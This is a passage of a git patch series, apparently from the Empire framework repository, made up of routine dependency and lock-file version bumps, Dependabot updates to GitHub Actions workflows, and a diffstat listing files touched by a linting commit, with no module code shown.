\"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} typing-extensions = ">=4.6.0" [package.extras] @@ -2819,14 +2816,13 @@ test = ["coverage", "pytest", "pytest-cov"] [[package]] name = "stone" -version = "3.3.1" +version = "3.3.6" description = "Stone is an interface description language (IDL) for APIs." optional = false python-versions = "*" files = [ - {file = "stone-3.3.1-py2-none-any.whl", hash = "sha256:cd2f7f9056fc39b16c8fd46a26971dc5ccd30b5c2c246566cd2c0dd27ff96609"}, - {file = "stone-3.3.1-py3-none-any.whl", hash = "sha256:e15866fad249c11a963cce3bdbed37758f2e88c8ff4898616bc0caeb1e216047"}, - {file = "stone-3.3.1.tar.gz", hash = "sha256:4ef0397512f609757975f7ec09b35639d72ba7e3e17ce4ddf399578346b4cb50"}, + {file = "stone-3.3.6-py3-none-any.whl", hash = "sha256:f25c977936d7b5f75b9a953543257681eb19bcd7758f91b6b515f931b1bd1a66"}, + {file = "stone-3.3.6.tar.gz", hash = "sha256:7e96560bffdaf038d53ca7673cac8cabbaf824a74561564961c34237df901717"}, ] [package.dependencies] @@ -2860,13 +2856,13 @@ files = [ [[package]] name = "tinycss2" -version = "1.2.1" +version = "1.3.0" description = "A tiny CSS parser" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "tinycss2-1.2.1-py3-none-any.whl", hash = "sha256:2b80a96d41e7c3914b8cda8bc7f705a4d9c49275616e886103dd839dfc847847"}, - {file = "tinycss2-1.2.1.tar.gz", hash = "sha256:8cff3a8f066c2ec677c06dbc7b45619804a6938478d9d73c284b29d14ecb0627"}, + {file = "tinycss2-1.3.0-py3-none-any.whl", hash = "sha256:54a8dbdffb334d536851be0226030e9505965bb2f30f21a4a82c55fb2a80fae7"}, + {file = "tinycss2-1.3.0.tar.gz", hash = "sha256:152f9acabd296a8375fbca5b84c961ff95971fcfc32e79550c8df8e29118c54d"}, ] [package.dependencies] @@ -2874,7 +2870,7 @@ webencodings = ">=0.4" [package.extras] doc = ["sphinx", "sphinx_rtd_theme"] -test = ["flake8", "isort", "pytest"] +test = ["pytest", "ruff"] [[package]] name = "tomli" @@ -2889,13 +2885,13 @@ files = [ [[package]] name = "twisted" -version = "23.10.0" +version = "24.3.0" description = "An asynchronous networking framework written in Python" optional = false python-versions = ">=3.8.0" files = [ - {file = "twisted-23.10.0-py3-none-any.whl", hash = "sha256:4ae8bce12999a35f7fe6443e7f1893e6fe09588c8d2bed9c35cdce8ff2d5b444"}, - {file = "twisted-23.10.0.tar.gz", hash = "sha256:987847a0790a2c597197613686e2784fd54167df3a55d0fb17c8412305d76ce5"}, + {file = "twisted-24.3.0-py3-none-any.whl", hash = "sha256:039f2e6a49ab5108abd94de187fa92377abe5985c7a72d68d0ad266ba19eae63"}, + {file = "twisted-24.3.0.tar.gz", hash = "sha256:6b38b6ece7296b5e122c9eb17da2eeab3d98a198f50ca9efd00fb03e5b4fd4ae"}, ] [package.dependencies] @@ -2916,7 +2912,7 @@ dev-release = ["pydoctor (>=23.9.0,<23.10.0)", "pydoctor (>=23.9.0,<23.10.0)", " gtk-platform = ["pygobject", "pygobject", "twisted[all-non-platform]", "twisted[all-non-platform]"] http2 = ["h2 (>=3.0,<5.0)", "priority (>=1.1.0,<2.0)"] macos-platform = ["pyobjc-core", "pyobjc-core", "pyobjc-framework-cfnetwork", "pyobjc-framework-cfnetwork", "pyobjc-framework-cocoa", "pyobjc-framework-cocoa", "twisted[all-non-platform]", "twisted[all-non-platform]"] -mypy = ["mypy (>=1.5.1,<1.6.0)", "mypy-zope (>=1.0.1,<1.1.0)", "twisted[all-non-platform,dev]", "types-pyopenssl", "types-setuptools"] +mypy = ["mypy (>=1.8,<2.0)", "mypy-zope (>=1.0.3,<1.1.0)", "twisted[all-non-platform,dev]", "types-pyopenssl", "types-setuptools"] osx-platform = ["twisted[macos-platform]", "twisted[macos-platform]"] serial = ["pyserial (>=3.0)", "pywin32 (!=226)"] test = ["cython-test-exception-raiser (>=1.0.2,<2)", "hypothesis (>=6.56)", "pyhamcrest (>=2)"] @@ -2953,24 +2949,24 @@ files = [ [[package]] name = "typing-extensions" -version = "4.9.0" +version = "4.12.2" description = "Backported and Experimental Type Hints for Python 3.8+" optional = false python-versions = ">=3.8" files = [ - {file = "typing_extensions-4.9.0-py3-none-any.whl", hash = "sha256:af72aea155e91adfc61c3ae9e0e342dbc0cba726d6cba4b6c72c1f34e47291cd"}, - {file = "typing_extensions-4.9.0.tar.gz", hash = "sha256:23478f88c37f27d76ac8aee6c905017a143b0b1b886c3c9f66bc2fd94f9f5783"}, + {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, + {file = "typing_extensions-4.12.2.tar.gz", hash = "sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, ] [[package]] name = "urllib3" -version = "2.2.0" +version = "2.2.2" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.8" files = [ - {file = "urllib3-2.2.0-py3-none-any.whl", hash = "sha256:ce3711610ddce217e6d113a2732fafad960a03fd0318c91faa79481e35c11224"}, - {file = "urllib3-2.2.0.tar.gz", hash = "sha256:051d961ad0c62a94e50ecf1af379c3aba230c66c710493493560c0c223c49f20"}, + {file = "urllib3-2.2.2-py3-none-any.whl", hash = "sha256:a448b2f64d686155468037e1ace9f2d2199776e17f0a46610480d311f73e3472"}, + {file = "urllib3-2.2.2.tar.gz", hash = "sha256:dd505485549a7a552833da5e6063639d0d177c04f23bc3864e41e5dc5f612168"}, ] [package.extras] @@ -3011,13 +3007,13 @@ files = [ [[package]] name = "weasyprint" -version = "61.0" +version = "62.3" description = "The Awesome Document Factory" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" files = [ - {file = "weasyprint-61.0-py3-none-any.whl", hash = "sha256:1dd5e929389b7ebcbff3088da7af13ae7ab201dce3a2faca7832b1dd5cec60ea"}, - {file = "weasyprint-61.0.tar.gz", hash = "sha256:d91b11a05426fef1d63de826f30a80521d48c6a356455d338c2c429989fa586d"}, + {file = "weasyprint-62.3-py3-none-any.whl", hash = "sha256:d31048646ce15084e135b33e334a61f526aa68d2f679fcc109ed0e0f5edaed21"}, + {file = "weasyprint-62.3.tar.gz", hash = "sha256:8d8680d732f7fa0fcbc587692a5a5cb095c3525627066918d6e203cbf42b7fcd"}, ] [package.dependencies] @@ -3026,13 +3022,13 @@ cssselect2 = ">=0.1" fonttools = {version = ">=4.0.0", extras = ["woff"]} html5lib = ">=1.1" Pillow = ">=9.1.0" -pydyf = ">=0.8.0" +pydyf = ">=0.10.0" Pyphen = ">=0.9.1" -tinycss2 = ">=1.0.0" +tinycss2 = ">=1.3.0" [package.extras] doc = ["sphinx", "sphinx_rtd_theme"] -test = ["flake8", "isort", "pytest"] +test = ["pytest", "ruff"] [[package]] name = "webencodings" @@ -3047,17 +3043,17 @@ files = [ [[package]] name = "websocket-client" -version = "1.7.0" +version = "1.8.0" description = "WebSocket client for Python with low level API options" optional = false python-versions = ">=3.8" files = [ - {file = "websocket-client-1.7.0.tar.gz", hash = "sha256:10e511ea3a8c744631d3bd77e61eb17ed09304c413ad42cf6ddfa4c7787e8fe6"}, - {file = "websocket_client-1.7.0-py3-none-any.whl", hash = "sha256:f4c3d22fec12a2461427a29957ff07d35098ee2d976d3ba244e688b8b4057588"}, + {file = "websocket_client-1.8.0-py3-none-any.whl", hash = "sha256:17b44cc997f5c498e809b22cdf2d9c7a9e71c02c8cc2b6c56e7c2d1239bfa526"}, + {file = "websocket_client-1.8.0.tar.gz", hash = "sha256:3239df9f44da632f96012472805d40a23281a991027ce11d2f45a6f24ac4c3da"}, ] [package.extras] -docs = ["Sphinx (>=6.0)", "sphinx-rtd-theme (>=1.1.0)"] +docs = ["Sphinx (>=6.0)", "myst-parser (>=2.0.0)", "sphinx-rtd-theme (>=1.1.0)"] optional = ["python-socks", "wsaccel"] test = ["websockets"] @@ -3162,13 +3158,13 @@ simplejson = "*" [[package]] name = "werkzeug" -version = "3.0.1" +version = "3.0.3" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.8" files = [ - {file = "werkzeug-3.0.1-py3-none-any.whl", hash = "sha256:90a285dc0e42ad56b34e696398b8122ee4c681833fb35b8334a095d82c56da10"}, - {file = "werkzeug-3.0.1.tar.gz", hash = "sha256:507e811ecea72b18a404947aded4b3390e1db8f826b494d76550ef45bb3b1dcc"}, + {file = "werkzeug-3.0.3-py3-none-any.whl", hash = "sha256:fc9645dc43e03e4d630d23143a04a7f947a9a3b5727cd535fdfe155a17cc48c8"}, + {file = "werkzeug-3.0.3.tar.gz", hash = "sha256:097e5bfda9f0aba8da6b8545146def481d06aa7d3266e7448e2cccf67dd8bd18"}, ] [package.dependencies] @@ -3249,54 +3245,54 @@ files = [ [[package]] name = "zope-interface" -version = "6.2" +version = "6.4.post2" description = "Interfaces for Python" optional = false python-versions = ">=3.7" files = [ - {file = "zope.interface-6.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:506f5410b36e5ba494136d9fa04c548eaf1a0d9c442b0b0e7a0944db7620e0ab"}, - {file = "zope.interface-6.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b386b8b9d2b6a5e1e4eadd4e62335571244cb9193b7328c2b6e38b64cfda4f0e"}, - {file = "zope.interface-6.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:abb0b3f2cb606981c7432f690db23506b1db5899620ad274e29dbbbdd740e797"}, - {file = "zope.interface-6.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:de7916380abaef4bb4891740879b1afcba2045aee51799dfd6d6ca9bdc71f35f"}, - {file = "zope.interface-6.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b240883fb43160574f8f738e6d09ddbdbf8fa3e8cea051603d9edfd947d9328"}, - {file = "zope.interface-6.2-cp310-cp310-win_amd64.whl", hash = "sha256:8af82afc5998e1f307d5e72712526dba07403c73a9e287d906a8aa2b1f2e33dd"}, - {file = "zope.interface-6.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4d45d2ba8195850e3e829f1f0016066a122bfa362cc9dc212527fc3d51369037"}, - {file = "zope.interface-6.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:76e0531d86523be7a46e15d379b0e975a9db84316617c0efe4af8338dc45b80c"}, - {file = "zope.interface-6.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59f7374769b326a217d0b2366f1c176a45a4ff21e8f7cebb3b4a3537077eff85"}, - {file = "zope.interface-6.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:25e0af9663eeac6b61b231b43c52293c2cb7f0c232d914bdcbfd3e3bd5c182ad"}, - {file = "zope.interface-6.2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e02a6fc1772b458ebb6be1c276528b362041217b9ca37e52ecea2cbdce9fac"}, - {file = "zope.interface-6.2-cp311-cp311-win_amd64.whl", hash = "sha256:02adbab560683c4eca3789cc0ac487dcc5f5a81cc48695ec247f00803cafe2fe"}, - {file = "zope.interface-6.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:8f5d2c39f3283e461de3655e03faf10e4742bb87387113f787a7724f32db1e48"}, - {file = "zope.interface-6.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:75d2ec3d9b401df759b87bc9e19d1b24db73083147089b43ae748aefa63067ef"}, - {file = "zope.interface-6.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa994e8937e8ccc7e87395b7b35092818905cf27c651e3ff3e7f29729f5ce3ce"}, - {file = "zope.interface-6.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ede888382882f07b9e4cd942255921ffd9f2901684198b88e247c7eabd27a000"}, - {file = "zope.interface-6.2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2606955a06c6852a6cff4abeca38346ed01e83f11e960caa9a821b3626a4467b"}, - {file = "zope.interface-6.2-cp312-cp312-win_amd64.whl", hash = "sha256:ac7c2046d907e3b4e2605a130d162b1b783c170292a11216479bb1deb7cadebe"}, - {file = "zope.interface-6.2-cp37-cp37m-macosx_11_0_x86_64.whl", hash = "sha256:febceb04ee7dd2aef08c2ff3d6f8a07de3052fc90137c507b0ede3ea80c21440"}, - {file = "zope.interface-6.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6fc711acc4a1c702ca931fdbf7bf7c86f2a27d564c85c4964772dadf0e3c52f5"}, - {file = "zope.interface-6.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:396f5c94654301819a7f3a702c5830f0ea7468d7b154d124ceac823e2419d000"}, - {file = "zope.interface-6.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4dd374927c00764fcd6fe1046bea243ebdf403fba97a937493ae4be2c8912c2b"}, - {file = "zope.interface-6.2-cp37-cp37m-win_amd64.whl", hash = "sha256:a3046e8ab29b590d723821d0785598e0b2e32b636a0272a38409be43e3ae0550"}, - {file = "zope.interface-6.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:de125151a53ecdb39df3cb3deb9951ed834dd6a110a9e795d985b10bb6db4532"}, - {file = "zope.interface-6.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f444de0565db46d26c9fa931ca14f497900a295bd5eba480fc3fad25af8c763e"}, - {file = "zope.interface-6.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e2fefad268ff5c5b314794e27e359e48aeb9c8bb2cbb5748a071757a56f6bb8f"}, - {file = "zope.interface-6.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:97785604824981ec8c81850dd25c8071d5ce04717a34296eeac771231fbdd5cd"}, - {file = "zope.interface-6.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7b2bed4eea047a949296e618552d3fed00632dc1b795ee430289bdd0e3717f3"}, - {file = "zope.interface-6.2-cp38-cp38-win_amd64.whl", hash = "sha256:d54f66c511ea01b9ef1d1a57420a93fbb9d48a08ec239f7d9c581092033156d0"}, - {file = "zope.interface-6.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5ee9789a20b0081dc469f65ff6c5007e67a940d5541419ca03ef20c6213dd099"}, - {file = "zope.interface-6.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:af27b3fe5b6bf9cd01b8e1c5ddea0a0d0a1b8c37dc1c7452f1e90bf817539c6d"}, - {file = "zope.interface-6.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4bce517b85f5debe07b186fc7102b332676760f2e0c92b7185dd49c138734b70"}, - {file = "zope.interface-6.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4ae9793f114cee5c464cc0b821ae4d36e1eba961542c6086f391a61aee167b6f"}, - {file = "zope.interface-6.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e87698e2fea5ca2f0a99dff0a64ce8110ea857b640de536c76d92aaa2a91ff3a"}, - {file = "zope.interface-6.2-cp39-cp39-win_amd64.whl", hash = "sha256:b66335bbdbb4c004c25ae01cc4a54fd199afbc1fd164233813c6d3c2293bb7e1"}, - {file = "zope.interface-6.2.tar.gz", hash = "sha256:3b6c62813c63c543a06394a636978b22dffa8c5410affc9331ce6cdb5bfa8565"}, + {file = "zope.interface-6.4.post2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2eccd5bef45883802848f821d940367c1d0ad588de71e5cabe3813175444202c"}, + {file = "zope.interface-6.4.post2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:762e616199f6319bb98e7f4f27d254c84c5fb1c25c908c2a9d0f92b92fb27530"}, + {file = "zope.interface-6.4.post2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ef8356f16b1a83609f7a992a6e33d792bb5eff2370712c9eaae0d02e1924341"}, + {file = "zope.interface-6.4.post2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0e4fa5d34d7973e6b0efa46fe4405090f3b406f64b6290facbb19dcbf642ad6b"}, + {file = "zope.interface-6.4.post2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d22fce0b0f5715cdac082e35a9e735a1752dc8585f005d045abb1a7c20e197f9"}, + {file = "zope.interface-6.4.post2-cp310-cp310-win_amd64.whl", hash = "sha256:97e615eab34bd8477c3f34197a17ce08c648d38467489359cb9eb7394f1083f7"}, + {file = "zope.interface-6.4.post2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:599f3b07bde2627e163ce484d5497a54a0a8437779362395c6b25e68c6590ede"}, + {file = "zope.interface-6.4.post2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:136cacdde1a2c5e5bc3d0b2a1beed733f97e2dad8c2ad3c2e17116f6590a3827"}, + {file = "zope.interface-6.4.post2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:47937cf2e7ed4e0e37f7851c76edeb8543ec9b0eae149b36ecd26176ff1ca874"}, + {file = "zope.interface-6.4.post2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f0a6be264afb094975b5ef55c911379d6989caa87c4e558814ec4f5125cfa2e"}, + {file = "zope.interface-6.4.post2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:47654177e675bafdf4e4738ce58cdc5c6d6ee2157ac0a78a3fa460942b9d64a8"}, + {file = "zope.interface-6.4.post2-cp311-cp311-win_amd64.whl", hash = "sha256:e2fb8e8158306567a3a9a41670c1ff99d0567d7fc96fa93b7abf8b519a46b250"}, + {file = "zope.interface-6.4.post2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:b912750b13d76af8aac45ddf4679535def304b2a48a07989ec736508d0bbfbde"}, + {file = "zope.interface-6.4.post2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4ac46298e0143d91e4644a27a769d1388d5d89e82ee0cf37bf2b0b001b9712a4"}, + {file = "zope.interface-6.4.post2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:86a94af4a88110ed4bb8961f5ac72edf782958e665d5bfceaab6bf388420a78b"}, + {file = "zope.interface-6.4.post2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73f9752cf3596771c7726f7eea5b9e634ad47c6d863043589a1c3bb31325c7eb"}, + {file = "zope.interface-6.4.post2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00b5c3e9744dcdc9e84c24ed6646d5cf0cf66551347b310b3ffd70f056535854"}, + {file = "zope.interface-6.4.post2-cp312-cp312-win_amd64.whl", hash = "sha256:551db2fe892fcbefb38f6f81ffa62de11090c8119fd4e66a60f3adff70751ec7"}, + {file = "zope.interface-6.4.post2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96ac6b3169940a8cd57b4f2b8edcad8f5213b60efcd197d59fbe52f0accd66e"}, + {file = "zope.interface-6.4.post2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cebff2fe5dc82cb22122e4e1225e00a4a506b1a16fafa911142ee124febf2c9e"}, + {file = "zope.interface-6.4.post2-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33ee982237cffaf946db365c3a6ebaa37855d8e3ca5800f6f48890209c1cfefc"}, + {file = "zope.interface-6.4.post2-cp37-cp37m-macosx_11_0_x86_64.whl", hash = "sha256:fbf649bc77510ef2521cf797700b96167bb77838c40780da7ea3edd8b78044d1"}, + {file = "zope.interface-6.4.post2-cp37-cp37m-win_amd64.whl", hash = "sha256:4c0b208a5d6c81434bdfa0f06d9b667e5de15af84d8cae5723c3a33ba6611b82"}, + {file = "zope.interface-6.4.post2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d3fe667935e9562407c2511570dca14604a654988a13d8725667e95161d92e9b"}, + {file = "zope.interface-6.4.post2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a96e6d4074db29b152222c34d7eec2e2db2f92638d2b2b2c704f9e8db3ae0edc"}, + {file = "zope.interface-6.4.post2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:866a0f583be79f0def667a5d2c60b7b4cc68f0c0a470f227e1122691b443c934"}, + {file = "zope.interface-6.4.post2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5fe919027f29b12f7a2562ba0daf3e045cb388f844e022552a5674fcdf5d21f1"}, + {file = "zope.interface-6.4.post2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e0343a6e06d94f6b6ac52fbc75269b41dd3c57066541a6c76517f69fe67cb43"}, + {file = "zope.interface-6.4.post2-cp38-cp38-win_amd64.whl", hash = "sha256:dabb70a6e3d9c22df50e08dc55b14ca2a99da95a2d941954255ac76fd6982bc5"}, + {file = "zope.interface-6.4.post2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:706efc19f9679a1b425d6fa2b4bc770d976d0984335eaea0869bd32f627591d2"}, + {file = "zope.interface-6.4.post2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3d136e5b8821073e1a09dde3eb076ea9988e7010c54ffe4d39701adf0c303438"}, + {file = "zope.interface-6.4.post2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1730c93a38b5a18d24549bc81613223962a19d457cfda9bdc66e542f475a36f4"}, + {file = "zope.interface-6.4.post2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc2676312cc3468a25aac001ec727168994ea3b69b48914944a44c6a0b251e79"}, + {file = "zope.interface-6.4.post2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a62fd6cd518693568e23e02f41816adedfca637f26716837681c90b36af3671"}, + {file = "zope.interface-6.4.post2-cp39-cp39-win_amd64.whl", hash = "sha256:d3f7e001328bd6466b3414215f66dde3c7c13d8025a9c160a75d7b2687090d15"}, + {file = "zope.interface-6.4.post2.tar.gz", hash = "sha256:1c207e6f6dfd5749a26f5a5fd966602d6b824ec00d2df84a7e9a924e8933654e"}, ] [package.dependencies] setuptools = "*" [package.extras] -docs = ["Sphinx", "repoze.sphinx.autointerface", "sphinx_rtd_theme"] +docs = ["Sphinx", "repoze.sphinx.autointerface", "sphinx-rtd-theme"] test = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] testing = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] @@ -3376,4 +3372,4 @@ test = ["pytest"] [metadata] lock-version = "2.0" python-versions = ">=3.10,<3.13" -content-hash = "58b6b4250c2b326692adf17d53236a24c795ecdd37bfbe5694938c889776ebb1" +content-hash = "1e2ae87ce291ae1313d3b95e80bc18ff19954af0e290e5dea6e880c8dcf7330e" diff --git a/pyproject.toml b/pyproject.toml index 49fb5fcd9..48798d0a4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -61,10 +61,10 @@ bcrypt = "4.0.1" # Locked to 4.0.1 due to passlib no longer being updated https: [tool.poetry.group.dev.dependencies] httpx = "^0.26.0" # For starlette TestClient -black = "^24.2.0" +black = "^24.4.2" pytest = "^8.0.1" pytest-timeout = "^2.2.0" -ruff = "^0.2.1" +ruff = "^0.5.0" pytest-cov = "^4.1.0" [build-system] From 6d7e075811afd3c5131c9241dbdcefbbe47f0203 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sat, 29 Jun 2024 10:30:10 -0700 Subject: [PATCH 08/26] Bump tj-actions/changed-files from 44.5.2 to 44.5.4 (#834) Bumps [tj-actions/changed-files](https://github.com/tj-actions/changed-files) from 44.5.2 to 44.5.4. - [Release notes](https://github.com/tj-actions/changed-files/releases) - [Changelog](https://github.com/tj-actions/changed-files/blob/main/HISTORY.md) - [Commits](https://github.com/tj-actions/changed-files/compare/v44.5.2...v44.5.4) --- updated-dependencies: - dependency-name: tj-actions/changed-files dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/lint-and-test.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 2fae07fd3..88931d2a8 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -139,7 +139,7 @@ jobs: # To save CI time, only run these tests when the install script or deps changed - name: Get changed files using defaults id: changed-files - uses: tj-actions/changed-files@v44.5.2 + uses: tj-actions/changed-files@v44.5.4 - name: Build images if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') run: docker compose -f .github/install_tests/docker-compose-install-tests.yml build --parallel ${{ join(matrix.images, ' ') }} From b5d8c0deb2a56d58f8c1240b76a684d70ec91dd6 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sat, 29 Jun 2024 10:31:26 -0700 Subject: [PATCH 09/26] Bump docker/build-push-action from 5 to 6 (#833) Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5 to 6. - [Release notes](https://github.com/docker/build-push-action/releases) - [Commits](https://github.com/docker/build-push-action/compare/v5...v6) --- updated-dependencies: - dependency-name: docker/build-push-action dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/dockerimage.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/dockerimage.yml b/.github/workflows/dockerimage.yml index 52590b7d9..73fbaca9e 100644 --- a/.github/workflows/dockerimage.yml +++ b/.github/workflows/dockerimage.yml @@ -38,7 +38,7 @@ jobs: echo "Using latest tag" fi - name: Build and push - uses: docker/build-push-action@v5 + uses: docker/build-push-action@v6 with: context: . platforms: linux/amd64,linux/arm64 From 7e4afaaec5d2a6b2ef031194608b873ccd2693f2 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 30 Jun 2024 14:16:16 -0700 Subject: [PATCH 10/26] New ruff rules (#839) --- CHANGELOG.md | 1 + empire.py | 6 +- empire/client/client.py | 2 +- empire/client/src/bindings.py | 5 +- empire/client/src/menus/SponsorsMenu.py | 90 +++++++------- empire/client/src/utils/print_util.py | 27 ++-- empire/server/api/app.py | 2 +- empire/server/api/v2/agent/agent_task_api.py | 3 +- empire/server/api/v2/websocket/socketio.py | 2 +- empire/server/common/agents.py | 32 ++--- empire/server/common/credentials.py | 2 +- empire/server/common/encryption.py | 10 +- empire/server/common/helpers.py | 39 +++--- empire/server/common/packets.py | 8 +- empire/server/common/stagers.py | 27 ++-- empire/server/core/agent_service.py | 2 +- empire/server/core/agent_task_service.py | 10 +- empire/server/core/db/base.py | 5 +- empire/server/core/db/defaults.py | 2 +- empire/server/core/download_service.py | 4 +- empire/server/core/hooks.py | 8 +- empire/server/core/hooks_internal.py | 2 +- empire/server/core/listener_service.py | 4 +- empire/server/core/module_service.py | 18 +-- empire/server/core/plugin_service.py | 2 +- empire/server/core/tag_service.py | 2 +- empire/server/listeners/http_malleable.py | 73 ++++++----- empire/server/listeners/onedrive.py | 4 +- .../modules/powershell/collection/minidump.py | 6 +- .../lateral_movement/inveigh_relay.py | 9 +- .../lateral_movement/invoke_psexec.py | 45 ++++--- .../modules/powershell/management/psinject.py | 3 +- .../persistence/elevated/registry.py | 38 +++--- .../persistence/elevated/schtasks.py | 38 +++--- .../powershell/persistence/elevated/wmi.py | 47 ++++--- .../persistence/userland/backdoor_lnk.py | 42 +++---- 